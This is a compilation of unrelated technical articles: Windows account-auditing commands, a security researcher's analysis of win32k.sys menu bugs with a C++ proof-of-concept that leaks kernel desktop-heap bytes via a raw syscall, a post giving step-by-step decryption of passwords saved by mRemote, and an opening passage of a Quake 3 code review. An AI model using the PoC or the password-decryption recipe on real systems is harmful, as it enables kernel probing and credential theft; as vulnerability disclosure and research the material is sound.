they got even uglier, believe it or not.  
  
Also, note that the above command depends on the Guest account being disabled.
If you have that account enabled, it'll show that no accounts have blank
passwords, as you'll never get the requisite error message. But, for most
production environments, you really should disable that Guest account, you
know. You can do that at the command line with:  
  

[code]

    C:\> net user guest active:no
    
[/code]

  
  
Be careful, though, to make sure that you don't have any apps that actually
rely on the Guest account being enabled.  
  
Now, let's see what else Hal has in store for us in his initial challenge...  
  
Ahhh... userID numbers, better known as SIDs in Windows. Well, Windows assigns
those at account creation, attempting to make sure that they are all unique.
Therefore, we should never have the same value for two different accounts at
the same time... right? Just to make sure, we can dump them using:  
  

[code]

    C:\> wmic useraccount get sid, name
    
[/code]

  
  
Unfortunately, the output shows name first followed by sid. That's a crummy
aspect of wmic... it shows you attributes in its output alphabetically by
attribute name. "Name" comes before "Sid" alphabetically, so we get name, sid
even though we asked for sid, name. We can reverse them using a FOR /F loop to
parse, and then sort them, using the following command:  
  

[code]

    C:\> (for /F "tokens=1,2 skip=1" %i in ('"wmic useraccount get sid, name"')  
    do @echo %j %i) | sort
    
[/code]

  
  
  
So, here, I'm running the wmic command inside a FOR /F loop. I've embedded the
command in single-quote followed by double-quote at the beginning, and double-
quote followed by single-quote at the end. The reason for this is two fold...
Normally, we require just the single quotes at the beginning and end to run a
command inside the parens of a FOR /F loop. But, if the command has a comma or
quote in it, we must either use a ^ before the comma or quote, or put the
whole thing inside of single-quote double-quotes as I have here. I used the
latter because of the parens around the entire FOR /F loop, which I used so I
could pipe it through the sort command. I've found that the ^, or ^" in FOR /F
loops have problems when you put parens around the entire FOR /F loop, so I've
taken to using the ' " and " ' as they work regardless of the \( \) around the
FOR /F loop. It's a little trick I figured out on a flight to Defcon years
ago.  
  
So, where was I? Oh yeah... we've now got a list of SIDs and usernames,
sorted. Our sort is alphabetic, not numeric, which kinda stinks. Still, you
could eyeball the resulting list and see if any of them are identical. Sadly,
there is no built-in "uniq" command in Windows. Man, Hal and Paul have it
easy, don't they?  
  
If you really want a uniq, you could download a "uniq" command for Windows.
Or, you could simulate one. Are you ready for a sick little trick to detect
whether a file has all unique lines using built-in tools in Windows?  
  
For this stunt, we'll rely on the built-in Windows fc command, which compares
two files \(fc stands for "file compare". We can use it as follows:  
  

[code]

    C:\> (for /F "tokens=1,2 skip=1" %i in ('"wmic useraccount get sid, name"')  
    do @echo %j %i) | sort > accounts.txt & sort /r accounts.txt > accountsr.txt  
    & fc accounts.txt accountsr.txt & del accounts.txt & del accountsr.txt
    
[/code]

  
  
The idea here is to use the sort /r command to create a list of accounts in
reverse order, and then compare it to the original list of accounts. If there
are no duplicate SIDs, your output will simply show the list of accounts
forward, followed by the list of accounts backward. If there are one or more
duplicate SIDs, you will see a blank line in the middle of your output as fc
tries to show you the differences. Let me illustrate with an example.  
  
Here is the output when we have all unique SIDs:  
  

[code]

    Comparing files accounts.txt and ACCOUNTSR.TXT  
    ***** accounts.txt  
    S-1-5-21-2574636452-2948509063-3462863534-1002 SUPPORT_388945a0  
    S-1-5-21-2574636452-2948509063-3462863534-1003 ASPNET  
    S-1-5-21-2574636452-2948509063-3462863534-1004 HelpAssistant  
    S-1-5-21-2574636452-2948509063-3462863534-1005 skodo  
    S-1-5-21-2574636452-2948509063-3462863534-1006 nonadmin  
    S-1-5-21-2574636452-2948509063-3462863534-1064 __vmware_user__  
    S-1-5-21-2574636452-2948509063-3462863534-1072 frank  
    S-1-5-21-2574636452-2948509063-3462863534-1073 dog  
    S-1-5-21-2574636452-2948509063-3462863534-1074 fred  
    S-1-5-21-2574636452-2948509063-3462863534-500 Administrator  
    S-1-5-21-2574636452-2948509063-3462863534-501 Guest  
    ***** ACCOUNTSR.TXT  
    S-1-5-21-2574636452-2948509063-3462863534-501 Guest  
    S-1-5-21-2574636452-2948509063-3462863534-500 Administrator  
    S-1-5-21-2574636452-2948509063-3462863534-1074 fred  
    S-1-5-21-2574636452-2948509063-3462863534-1073 dog  
    S-1-5-21-2574636452-2948509063-3462863534-1072 frank  
    S-1-5-21-2574636452-2948509063-3462863534-1064 __vmware_user__  
    S-1-5-21-2574636452-2948509063-3462863534-1006 nonadmin  
    S-1-5-21-2574636452-2948509063-3462863534-1005 skodo  
    S-1-5-21-2574636452-2948509063-3462863534-1004 HelpAssistant  
    S-1-5-21-2574636452-2948509063-3462863534-1003 ASPNET  
    S-1-5-21-2574636452-2948509063-3462863534-1002 SUPPORT_388945a0  
    *****
    
[/code]

  
  
And, here is the output when we have a dupe:  
  
  

[code]

    Comparing files accounts.txt and ACCOUNTSR.TXT  
    ***** accounts.txt  
    S-1-5-21-2574636452-2948509063-3462863534-1002 SUPPORT_388945a0  
    S-1-5-21-2574636452-2948509063-3462863534-1003 ASPNET  
    S-1-5-21-2574636452-2948509063-3462863534-1004 HelpAssistant  
    S-1-5-21-2574636452-2948509063-3462863534-1005 skodo  
    S-1-5-21-2574636452-2948509063-3462863534-1006 nonadmin  
    S-1-5-21-2574636452-2948509063-3462863534-1064 __vmware_user__  
    S-1-5-21-2574636452-2948509063-3462863534-1072 frank  
    ***** ACCOUNTSR.TXT  
    S-1-5-21-2574636452-2948509063-3462863534-501 Guest  
    S-1-5-21-2574636452-2948509063-3462863534-500 Administrator  
    S-1-5-21-2574636452-2948509063-3462863534-1074 fred  
    S-1-5-21-2574636452-2948509063-3462863534-1072 frank  
    *****  
      
    ***** accounts.txt  
    S-1-5-21-2574636452-2948509063-3462863534-1072 dog  
    S-1-5-21-2574636452-2948509063-3462863534-1074 fred  
    S-1-5-21-2574636452-2948509063-3462863534-500 Administrator  
    S-1-5-21-2574636452-2948509063-3462863534-501 Guest  
    ***** ACCOUNTSR.TXT  
    S-1-5-21-2574636452-2948509063-3462863534-1072 dog  
    S-1-5-21-2574636452-2948509063-3462863534-1064 __vmware_user__  
    S-1-5-21-2574636452-2948509063-3462863534-1006 nonadmin  
    S-1-5-21-2574636452-2948509063-3462863534-1005 skodo  
    S-1-5-21-2574636452-2948509063-3462863534-1004 HelpAssistant  
    S-1-5-21-2574636452-2948509063-3462863534-1003 ASPNET  
    S-1-5-21-2574636452-2948509063-3462863534-1002 SUPPORT_388945a0
    
[/code]

  
  
See, the frank and dog account have the same SID, as indicated on either side
of that blank line in the middle there. If there are any dupe SIDs, you'll see
that tell-tale blank line in the middle of the output. Sure, it's a kluge, but
it is a quick and dirty way of determining whether there is a duplicate in a
stream of information.  
  
And, we end on a much simpler note. Hal wants to find accounts with superuser
privileges \(UID 0 on Linux\). We can simply look for accounts in the
administrators group using:  
  

[code]

    C:\> net localgroup administrators
    
[/code]

  
  
So, there you have it. I warned you that it would get ugly, and I am to
deliver on my promises. In the end, we were able to achieve nearly all of what
Hal did in Linux, making certain assumptions.

# Windows win32k.sys menus and some “close, but no cigar” bugs | j00ru//vx tech blog
**Created:**| _9/13/2013 9:23:36 AM_  
---|---  
**Updated:**| _9/13/2013 9:23:36 AM_  
**Author:**| __  
**Tags:**| _windows security windows environment_  
  

# **W** indows win32k.sys menus and some “close, but no cigar” bugs****

Welcome after one of the more lengthy breaks in the blog’s activity**.**
Today, I would like to discuss none other than several interesting weaknesses
around the implementation of menus \(like, window menus\) in the core
component of the Microsoft Windows kernel – the infamous win32k.sys driver,
also known as the “Java of Windows” in terms of overall security posture**.**

Now, menus have been a part of the Windows graphical interface since the very
beginning of the operating system existence**.** The implementation became
part of the Windows kernel at the time of porting a majority of the Windows
manager \(User\) subsystem to a ring-0 component during Windows NT 4**.** 0
development. The functionality consists of user-facing \(i**.** e. the
_NtUserThunkedMenuInfo_ and _NtUserThunkedMenuItemInfo_ system calls\) and
rendering portions of code; I have found several bugs or problems in both
areas**.**

First of all, let’s start with the ** _win32k**\!** xxxSetLPITEMInfo_**
function, which can be generally reached through the two following call chains
in Windows 7 x86:

**_NtUserThunkedMenuItemInfo_ → _xxxInsertMenuItem_ → _xxxSetLPITEMInfo_  
**or  
**_NtUserThunkedMenuItemInfo**→ xxxSetMenuItemInfo**→ xxxSetLPITEMInfo****_**

The routine itself is responsible for setting up an ITEM structure, which
describes a single menu item and is defined as follows for the previously
stated platform:

**?**

| `2: kd> dt win32k**!** tagITEM``+0x000 fType : Uint4B``+0x004 fState :
Uint4B``+0x008 wID : Uint4B``+0x00c spSubMenu : Ptr32 tagMENU``+0x010
hbmpChecked : Ptr32 Void``+0x014 hbmpUnchecked : Ptr32 Void``+0x018 lpstr :
Ptr32 Uint2B``+0x01c cch : Uint4B``+0x020 dwItemData : Uint4B``+0x024 xItem :
Uint4B``+0x028 yItem : Uint4B``+0x02c cxItem : Uint4B``+0x030 cyItem :
Uint4B``+0x034 dxTab : Uint4B``+0x038 ulX : Uint4B``+0x03c ulWidth :
Uint4B``+0x040 hbmp : Ptr32 HBITMAP__``+0x044 cxBmp : Int4B``+0x048 cyBmp :
Int4B``+0x04c umim : tagUAHMENUITEMMETRICS`  
---|---  
Among other characteristics, the structure stores a pointer to the string
displayed on top of the menu item**.** The string associated with a new menu
item being initialized is passed through a user-mode UNICODE\_STRING structure
pointer, the contents of which are then copied to kernel-mode memory using the
following code \(reverse-engineered pseudo code follows\):

**?**

| `if` `(input_string->Buffer) {``menu_string =
DesktopAlloc(menu->head.rpdesk, input_string->Length + ``sizeof``(``WCHAR``),
8);``if` `(**!** menu_string) {``return` `0;``}``memcpy``(menu_string,
input_string->Buffer, input_string->Length);``string_length =
input_string->Length / ``sizeof``(``WCHAR``);``}`  
---|---  
As can be seen, the function allocates a buffer of size “Length + 2″ but only
initializes the first “Length” bytes**.** While nul termination is guaranteed
by  _DesktopAlloc_\(which indeed zeroes out the allocation region before
passing it back to the caller\), the code still relies on the assumption that
“Length” is an even value**.** Note that none of its top-level callers nor
_xxxSetLPITEMInfo_ explicitly enforces this assumption, enabling an attacker
to specify a unicode string consisting of an odd number of bytes and have it
processed by the code, potentially leading to the following layout of kernel-
mode menu string allocation:

**?**

| `[[0x41][0x41]] [[0x41][0x41]] ..**.** [[0x41][0x00]] [[0x00][??**?**]]
[[??**?**][??**?**]] ...`  
---|---  
Note that the last two allocation bytes are still zero, but they span across
two wide characters, while the second byte of the \(supposedly\) last
character is not defined and doesn’t necessarily have to be 0×00**.**
Therefore, we could provoke the allocation of a non-nul-terminated unicode
string for the menu item, and although there is a “cch” field in the ITEM
structure which specifies the actual length of the string, it is not taken
into consideration while rendering the textual string**.** As a result, it is
possible to get  _win32k.sys_ to disclose junk bytes from the Desktop Heap
onto the display and into user-mode, as shown below:

<img src='img/Temp2_9931.jpg' />

Junk desktop heap bytes rendered by win32k.sys

This condition is one of the most typical errors found in the Windows kernel
and related to unicode strings – it has been already discussed in my “A story
of win32k**\!** cCapString, or unicode strings gone bad” blog post , and was
the root cause of at least one Denial of Service vulnerability in the
implementation of Windows registry \(CVE-2010-0235 , advisory here \)**.**
Causing the kernel to draw unicode artifacts over menu items is quite amusing
itself, but it turns out that the contents of the Desktop Heap are not kept
secret from user-mode applications; in fact, the heap is even mapped into the
ring-3 virtual address space of GUI processes**.** The observation can prove
useful in certain scenarios \(e**.** g. while trying to map controlled bytes
into a privileged process running within the same desktop, as shown in
“CVE-2011-1281: A story of a Windows CSRSS Privilege Escalation vulnerability”
\), but here makes the bug a non-issue \(as officially confirmed by
MSRC\)**.** However, the problem was quite close to becoming very helpful in
the exploitation of another potential vulnerability**.**

## Signedness issue in win32k\!xxxDrawMenuItemText****

On the rendering side of things, the  _xxxDrawMenuItemText_ routine plays a
very important role**.** Its overall declaration is rather complicated and not
relevant to the discussed problem, but the one important point is that the 7th
parameter stores the length of the string \(in characters\) to be displayed
**as a** **signed integer,** and is used to determine whether a stack buffer
or a dynamic pool allocation should be used to store the input string \(using,
of course, a signed comparison\)**.** The phenomenon is better illustrated in
the following C-like pseudo code listing:

**?**

| `#define LOCAL_BUFFER_LENGTH 255``PVOID` `xxxDrawMenuItemText(..**.** ,
``signed` `int` `length, ..**.**) {``WCHAR`
`local_buffer[LOCAL_BUFFER_LENGTH];``PWCHAR` `buffer_ptr = local_buffer;``if`
`(length >= LOCAL_BUFFER_LENGTH) {``buffer_ptr = ExAllocatePool((length + 1) *
``sizeof``(WHCAR));``}``// operate on buffer_ptr**.**``}`  
---|---  
The signedness of the integer is indeed confirmed by the assembly instruction
used:

**?**

| `.text:0020C8E6 cmp ebx, 0FFh``.text:0020C8EC jl short
loc_20C927``.text:0020C8EE push 74727355h ; Tag``.text:0020C8F3 lea ecx,
ds:2[ebx*2]``.text:0020C8FA push ecx ; NumberOfBytes``.text:0020C8FB push 21h
; PoolType``.text:0020C8FD call ds:__imp__ExAllocatePoolWithTag@12 ;
ExAllocatePoolWithTag(x,x,x)`  
---|---  
In case you were wondering, 64-bit versions of Windows are similarly affected:

**?**

| `.text:FFFFF97FFF20C5FA cmp edi, 0FFh``.text:FFFFF97FFF20C600 jl short
loc_FFFFF97FFF20C637``.text:FFFFF97FFF20C602 lea ecx,
[rdi+1]``.text:FFFFF97FFF20C605 mov edx, 74727355h``.text:FFFFF97FFF20C60A
movsxd rcx, ecx``.text:FFFFF97FFF20C60D add rcx, rcx``.text:FFFFF97FFF20C610
call Win32AllocPool`  
---|---  
At first glance, this sounds like the perfect situation with great potential
for a stack-based buffer overflow right inside of  _win32k.sys_ , provided we
are able to set the 7th function parameter to a negative value**.** In theory,
this should not be possible due to the fact that the length of any menu item
text is limited by the 16-bit width of the UNICODE\_STRING.Length field used
to set up the menu item in the first place \(in this case, the limit is 32767
characters, which is nowhere near 2147483648 required to overflow the positive
integer range\)**.** However, it turns out that the “Length” parameter of the
affected function is not taken from the limited ITEM.cch field, but rather
calculated in the following manner:

**?**

| `min(FindCharPosition(lpItem->lpstr, L'\8'), FindCharPosition(lpItem->lpstr,
L'\t'))`  
---|---  
where the  _FindCharPosition_ is a trivial  _wcschr-like_ function searching
for a specific character from the beginning of a string, completing upon
finding the desired character or encountering a unicode nul**.** This
obviously opens up room for some potential abuse – by making use of the
previous bug allowing lack of nul termination, we could potentially try to
grow the Desktop Heap to 4GB+ \(two billion wide characters\) and hope that
none of the \{0×0000, 0×0008, 0×0009\} words would occur at even offsets
starting from the beginning of menu item text allocation**.** It is not clear
whether one could increase the size of the desktop heap to as much as several
gigabytes \(if at all, this would only be possible on 64-bit platforms\) and
additionally satisfy the “no special characters inside” requirement, but even
if that was possible, it still turns out that the bug would not be
exploitable**.** Due to the fact that the _GetPrefixCount_ function called by
_xxxDrawMenuItemText_ also operates on signed integers and does it in a way
that prevents any kind of memory corruption:

**?**

| `DWORD` `GetPrefixCount(``signed` `int` `length, ``PWCHAR` `buffer, ..**.**)
{``if` `(length > 0) {``// fill out "buffer"``}``*buffer = L``'\0'``;``//
return``}`  
---|---  
To date, I believe that none of the functions called subsequently by
_xxxDrawMenuItemText_ can cause stack corruption and write beyond the local
buffer; however, my feeling is that the impossibility of exploitation is
purely accidental, and a very slight change of a parameter type in any of the
involved functions may suddenly introduce a very severe vulnerability**.** In
other words, this is something the security community should definitely keep
an eye on across new versions of Windows**.** :-\)

One last potential problem with the function is the calculation of a dynamic
buffer size in the line:

[code]

    .text:0020C8F3                 lea     ecx, ds:2[ebx*2]
[/code]

For Length=0x7fffffff \(and above\), the allocation size overflows and becomes
0×0 on 32-bit platforms; however, it is physically impossible to allocate 4GB
of kernel memory \(required for a large enough string length\) on x86
CPUs**.** On 64-bit platforms, the calculation is performed using 64-bit
variables based on a sign-extended 32-bit length**.** As a result, the final
_ExAllocatePoolWithTag_ parameter becomes 0xffffffff00000000, which when
casted back to an unsigned long long \(or  _size\_t_ , rather\) is too large
for the allocator to handle**.**

Overall, my take is that Microsoft has been pretty lucky with the current
shape of menu implementation – although there is a number of issues in the
code, none of them are currently exploitable due to various architecture and
system-specific limitations \(likely not intentional or considered by the
original win32k.sys developers\)**.** A subtle modification of the code path
can potentially result in enabling practical exploitation of some or all of
the problems; however, Microsoft has decided that the current lack of security
impact renders the bugs not worth fixing**.**

And that’s it for today. As a final word, it is worth mentioning that actual
\(exploitable\) vulnerabilities were discovered in the menu implementation in
the past, see Tavis Ormandy’s “Microsoft Windows win32k**\!**
xxxRealDrawMenuItem\(\) missing HBITMAP bounds checks”  advisory**.** Comments
and feedback are welcome, especially if I happened to miss something in the
analysis and any of the problems actually are exploitable**.** :-\)

Take care\!

## Proof of Concept****

The source code of a Proof of Concept program demonstrating the first issue
\(odd unicode string length\) for Microsoft Windows 7 SP1 64-bit is shown
below:

**?**

| `#include <cstdio>``#include <cstdlib>``#include <string>``#include <windows**.** h>``#include <uxtheme**.** h>``#pragma comment(lib, "GDI32")``#pragma comment(lib, "USER32")``#pragma comment(lib, "UXTHEME")``//---------------------------------------------------------------------------``#ifndef MFS_CACHEDBMP``# define MFS_CACHEDBMP 0x20000000L``#endif``//---------------------------------------------------------------------------``typedef` `struct` `_LSA_UNICODE_STRING {``USHORT` `Length;``USHORT` `MaximumLength;``PWSTR` `Buffer;``} LSA_UNICODE_STRING, *PLSA_UNICODE_STRING, UNICODE_STRING, *PUNICODE_STRING;``extern` `"C"` `{``VOID` `WINAPI RtlInitUnicodeString(``PUNICODE_STRING DestinationString,``PCWSTR` `SourceString``);``} ``// extern "C"``//---------------------------------------------------------------------------``#define __NR_NtUserThunkedMenuItemInfo 0x1098``#define SYSCALL_ARG(x) ((__int64)(x))``BYTE` `SyscallCode[] = ``"\x4C\x8B\xD1"` `// MOV R10, RCX``"\xB8\x00\x00\x00\x00"` `// MOV EAX, ``"\x0F\x05"` `// SYSENTER``"\xC3"``; ``// RET``PBYTE` `SyscallCodePtr = SyscallCode;``ULONG` `(*SystemCall)(``__int64` `Argument1, ``__int64` `Argument2, ``__int64` `Argument3, ``__int64` `Argument4,``__int64` `Argument5, ``__int64` `Argument6, ``__int64` `Argument7, ``__int64` `Argument8);``ULONG` `CallService(``DWORD` `ServiceId, ``__int64` `Argument1, ``__int64` `Argument2, ``__int64` `Argument3,``__int64` `Argument4, ``__int64` `Argument5, ``__int64` `Argument6, ``__int64` `Argument7,``__int64` `Argument8) {``memcpy``(&SyscallCode[4], &ServiceId, ``sizeof``(``DWORD``));``return` `SystemCall(Argument1, Argument2, Argument3, Argument4,``Argument5, Argument6, Argument7, Argument8);``}``//---------------------------------------------------------------------------``LRESULT` `CALLBACK WndProc(``HWND` `hWnd, ``UINT` `msg, ``WPARAM` `wParam, ``LPARAM` `lParam);``//---------------------------------------------------------------------------``DWORD` `WINAPI CreateHostWindow(``LPVOID` `lpParameter) {``CONST ``CHAR` `class_name[] = ``"TEST_CLASS_NAME"``;``CONST ``CHAR` `wnd_title[] = ``"TEST_WND_TITLE"``;``HINSTANCE` `instance = GetModuleHandle(NULL);``WNDCLASSEX wndclsex;``MSG msg;``wndclsex.cbSize = ``sizeof``(WNDCLASSEX);``wndclsex.style = CS_HREDRAW | CS_VREDRAW;``wndclsex.lpfnWndProc = WndProc;``wndclsex.cbClsExtra = 0;``wndclsex.cbWndExtra = 0;``wndclsex.hInstance = instance;``wndclsex.hIcon = LoadIcon(NULL, IDI_APPLICATION);``wndclsex.hCursor = LoadCursor(NULL, IDC_ARROW);``wndclsex.hbrBackground = (``HBRUSH``)GetStockObject(BLACK_BRUSH);``wndclsex.lpszMenuName = NULL;``wndclsex.lpszClassName = class_name;``wndclsex.hIconSm = LoadIcon(NULL, IDI_APPLICATION);``RegisterClassEx(&wndclsex);``// Possibly disable themes for current session``if` `(IsThemeActive()) {``EnableTheming(FALSE);``} ``// An equivalent of in the form of a system call, which enables``// us to pass a raw UNICODE_STRING structure follows:``//``// AppendMenu(menu, MF_STRING, kMenuId, "menu test");``//``HMENU` `menu = CreateMenu();``MENUITEMINFOW info = { ``sizeof` `MENUITEMINFOW, ``// UINT cbSize``MIIM_STRING, ``// UINT fMask``MFT_STRING, ``// UINT fType``MFS_ENABLED, ``// UINT fState``0, ``// UINT wID``NULL, ``// HMENU hSubMenu``NULL, ``// HBITMAP hbmpChecked``NULL, ``// HBITMAP hbmpUnchecked``0, ``// ULONG_PTR dwItemData``NULL, ``// LPTSTR dwTypeData (ignored)``0, ``// UINT cch (ignored)``NULL }; ``// HBITMAP hbmpItem``UNICODE_STRING item;``RtlInitUnicodeString(&item, L``"menu test"``);``item.Length = 0xf - 0x2;``CallService(__NR_NtUserThunkedMenuItemInfo,``SYSCALL_ARG(menu), ``// HMENU hMenu``SYSCALL_ARG(1), ``// UINT nPosition``SYSCALL_ARG(TRUE), ``// BOOL fByPosition``SYSCALL_ARG(TRUE), ``// BOOL fInsert``SYSCALL_ARG(&info), ``// LPMENUITEMINFOW lpmii``SYSCALL_ARG(&item), ``// PUNICODE_STRING pstrItem``0, 0);``HWND` `hwnd = CreateWindowEx(WS_EX_OVERLAPPEDWINDOW,``class_name,``wnd_title,``WS_OVERLAPPEDWINDOW | WS_VISIBLE,``0, 0, 640, 480,``NULL,``menu,``instance,``NULL);``UpdateWindow(hwnd);``while` `(GetMessage(&msg, NULL, 0, 0)) {``TranslateMessage(&msg);``DispatchMessage(&msg);``}``return` `0;``}``//---------------------------------------------------------------------------``LRESULT` `CALLBACK WndProc(``HWND` `hwnd, ``UINT` `msg, ``WPARAM` `wparam, ``LPARAM` `lparam) {``switch``(msg) {``case` `WM_DESTROY:``PostQuitMessage(WM_QUIT);``break``;``default``:``return` `DefWindowProc(hwnd, msg, wparam, lparam);``}``return` `0;``}``//---------------------------------------------------------------------------``int` `main() {``// Set syscall stub permissions**.**``DWORD` `OldProtect;``VirtualProtect(SyscallCode, ``sizeof``(SyscallCode), PAGE_EXECUTE_READWRITE, &OldProtect);``memcpy``(&SystemCall, &SyscallCodePtr, ``sizeof``(``PVOID``));``// Create host window**.**``HANDLE` `hthread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)CreateHostWindow, NULL, 0, NULL);``CloseHandle(hthread);``// Terminate local thread**.**``ExitThread(EXIT_SUCCESS);``return` `EXIT_SUCCESS;``}`  
---|---  
****

# Cosine Security: Stealing Password from mRemote

**Created:**| _6/21/2011 8:00:30 AM_  
---|---  
**Updated:**| _6/21/2011 8:00:58 AM_  
**Author:**| __  
**Tags:**| _attacks windows security_  
  

## Thursday, 2 June 2011

### Stealing Password from mRemote

If you don't know mRemote is a tabbed remote connection manager for Windows.
It can store and manage a number of different connections, chief among them
RDP,VNC, and SSH. It is a popular tool among IT Support people who have to
remote into a lot of machines.  
  
When you save connections in mRemote it outputs all of that data into an XML
report in your local AppData folder. The passwords are saved in an encrypted
format, however this is trivial to circumvent. The passwords are encrypted
with AES-128-CBC Rijndael Encryption, and then the IV is pre-pended to the
encoded passwords and the whole thing is base64 encoded for output into the
XML. The encryption key that is used is the md5 hash of the string "mR3m". So
to decrypt these passwords we follow a simple process:  
  
example password: 28kQ15DF4kdW34Mx2+fh+NWZODNSoSPek7ug+ILvyPE=  
  

  1. Get the md5 hash of mR3m and convert it into byte values: \xc8\xa3\x9d\xe2\xa5\x47\x66\xa0\xda\x87\x5f\x79\xaa\xf1\xaa\x8c
  2. base64 decode the saved password data
  3. Take the first 16 bytes of the decoded data and set that as you Initialization vector\(IV\)
  4. Run AES-128-CBC Decryption feeding your Cipher Text\(the remaining bytes from the decoded text\), your IV \(that first 16 bytes\), and your key \(\xc8\xa3\x9d\xe2\xa5\x47\x66\xa0\xda\x87\x5f\x79\xaa\xf1\xaa\x8c\)
  5. You should get a decrypted password of: password1

Simple and easy, you are now ready to decrypt all of those delicious RDP,VNC,
and SSH passwords. To make it all that much easier I have written a new
Metasploit POST module that will find the XML files on a compromised machine
and decrypt those passwords for you. I just submitted it to Redmine so it
hasn't been added yet, but keep your eyes peeled. I suspect it will be in
there soon.

# Quake 3 Source Code Review: Architecture

**Created:**| _7/3/2012 7:50:04 PM_  
---|---  
**Updated:**| _7/3/2012 7:50:04 PM_  
**Author:**| __  
**Tags:**| _C++ code-review_  
  

# Quake 3 Source Code Review: Architecture \(Part 1 of 5\) >>

<img src='img/Temp2_6555.jpg' /> Since I had one week before my next contract
I decided to finish my "cycle of id". After Doom, Doom Iphone, Quake1, Quake2,
Wolfenstein iPhone and Doom3 I decided to read the last codebase I did not
review yet:  
  
idTech3 the 3D engine that powers Quake III and Quake Live.  
  
The engine is mostly an evolution of idTech2 but there are some interesting
novelties. The key points can be summarized as follow:

  * Part 2 : New dualcore renderer with material based shaders \(built over OpenGL Fixed Pipeline\). 
  * Part 3 : New Network model based on snapshots.
  * Part 4 : New Virtual Machines playing an essential part in the engine, combining Quake1  
portability/security with Quake2 speed.

  * Part 5 : New Artificial Intelligence for the bots.

I was particularly impressed by :

  * The virtual machine _s_ system and the associated toolchain that altogether account for 30% of the code released. Under this perspective idTech3 is a mini operating system providing system calls to three processes.
  * The elegant network system based on snapshots and memory introspection.

As usual I wrote numerous notes that I have cleaned up and synthesized into
drawings. I hope it will save time to some people but also encourage others to
read more code and become better engineers.

### First contact

<img src='img/Temp2_6554.jpg' /> Since the venerable ftp.idsoftware.com was
recently decommissioned the code can be found on id Software's GitHub account:  

[code]

     
        git clone https://github.com/id-Software/Quake-III-Arena.git    
    
    
    
[/code]

  
When it comes to comprehend a huge codebase I prefer to use XCode: SpotLight
speed, Command-click to find definition and strings highlight make the tool
more powerful than Visual Studio. But opening Quake III project showed that
code rotting is not always about the code but also about the tools: XCode 4.0
is unable to open the Quake III XCode 2.0 projects.  
  
In the end I used Visual Studio 2010 Professional on Windows 8: Upon
installation of Visual Studio 2010 Productivity Power Tools the toolset was
actually enjoyable.  
  

The first striking thing is that the Visual Studio workspace is not made of
one project but eight. Not all of them are used depending if the build is
DEBUG or RELEASE \(especially `game`,`cgame` and `q3_ui` : the virtual
machines projects\). Some of the projects are never used \(`splines` and
`ui`\).  
  

A table is better to summarize what project is contributing to which module:  
  

**Projects**| **Type**| **DEBUG Builds**| **RELEASE Builds**| **Comments**  
---|---|---|---|---  
botlib| Static Library| botlib.lib| botlib.lib| A.I  
cgame| Dynamic Libary/Bytecode| cgamex86.dll| -|  
game| Dynamic Libary/Bytecode| qagamex86.dll| -|  
q3\_ui| Dynamic Libary/Bytecode| uix86.dll| -|  
quake3| Executable| quake3.exe| quake3.exe|  
renderer| Static Library| renderer.lib| renderer.lib| OpenGL based  
Splines| Static Library| Splines.lib| Splines.lib| Used NOWHERE \!  
ui| Dynamic Libary/Bytecode| uix86\_new.dll| -| Used NOWHERE \!  
  

_**Trivia :**_ idTech3 working title was "Trinity". Since idTech4 was called
"Neo" I assumed it was from the "Matrix" franchise...but id Software stated in
interview with firingsquad.com that it was named after "Trinity River in
Dallas":  

[code]

    
        **John :** I've got a couple of engine things that I'm working on, as far as research.
    
        **FS :** So is one of those things Trinity? I think there's been a little confusion about "Trinity."
    
        **John :** I was never really certain how this got as confusing as it did to everybody. After Quake, when 
        I was starting on new rendering technologies and everything, everybody was just calling it "the next engine" 
        or whatever. Michael Abrash suggested we just take Intel's tack of naming your next project after a river near 
        you. We have the Trinity River in Dallas, and so it was just like "Trinity Engine," the next step.
    
        
    
[/code]

  

### Architecture

A convenient way to understand an architecture is to first look at the
software as a black box receiving input \(upper left arrows\) and generating
output \(bottom arrows\):  
  
<img src='img/Temp2_6546.jpg' />  
  
Then look how the inputs flows towards the outputs in a whitebox fashion with
the 6 modules \(`quake3.exe`, `renderer.lib`, `bot.lib`, `game`, `cgame` and
`q3_ui`\) interacting as follow:  
  
<img src='img/Temp2_6556.jpg' />  
  
Two important things to understand the design:

  1. Every single inputs \(keyboard, win32 message, mouse, UDP socket\) is converted into an `event_t` and placed in a centralized event queue \(`sysEvent_t eventQue[256]`\). This allows among other things to record \(journalize\) each inputs in order to recreate bugs. This design decision was discussed at length in John Carmack's .plan on Oct 14, 1998.

  

  * Explicit split of Client and Server \(this was outlined in a Q&A session\): 
[code]  
        **Fabien :** What do you think summarize the main innovations in idTech3 besides:
                           - Bot I.A 
                           - Virtual Machine: Combining QuakeC portability and Quake2 dll speed.
                           - SMP & Shaders renderer.
                           - New Network code.
     
        **John Carmack:** The explicit split of networking into a client presentation side and the server logical side was really the right 
        thing to do. We backed away from that in Doom 3 and through most of Rage, but we are migrating back towards it.  All of the Tech3
        licensees were forced to do somewhat more work to achieve single player effects with the split architecture, but it turns out that
        the enforced discipline really did have a worthwhile payoff.
    
    
    
[/code]

  

    * The server side is responsible for maintaining the state of the game, determine what is needed by clients and propagate it over the network. It is statically linked against `bot.lib` which is a separate project because of its chaotic development history mentioned in page 275 of "Masters of Doom":  
  

[code]  
        	   
            To make matters worse, a fundamental ingredient of the game - the bots - was missing. Bots 
            were characters controlled by the computer. A good bot would blend in with the action and flesh 
            out the scene like a robotic extra, as well as interact with the player. For Quake III, a deathmatch
            only game, bots were essential for single-player action. They were implicitly complex because they 
            had to behave like human beings.
            
            Carmack had decided, for the First time, to delegate the job of creating these bots to another 
            programmer in the company. But he failed to follow up. Once again, Carmack incorrectly assumed 
            that everyone was as self-motivated and adept as he was. He was wrong.
            
            When Graeme struggled to rein in the work, it was discovered that the bots were completely ineffective. 
            They din't behave at all like human beings. They behaved, basically, like bots. The staff began to panic.
            By March 1999, they had reason to be scared.
            [..]
            
            In the end the bot were farmed out to a well-known mod maker in the Netherlands, who heroically brought 
            them to life. (Note from Fab: This is Mr.Elusive: Jean Paul van Waveren).
        	   
        	   
        	   
[/code]

  

    * The client side is responsible for predicting where entities are \(latency compensation\) and render the view. It is statically linked against `renderer` project: A separate project that would have allowed a Direct3D or even software renderer to be plugged in very easily.

### The code

From a code point of view here is a partially unrolled loop that illustrate
the event production and consumption by the client and server:  

[code]

    
        int WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
        {
           
            Com_Init
            
            NET_Init
            
            while( 1 )
            {
                // Common code
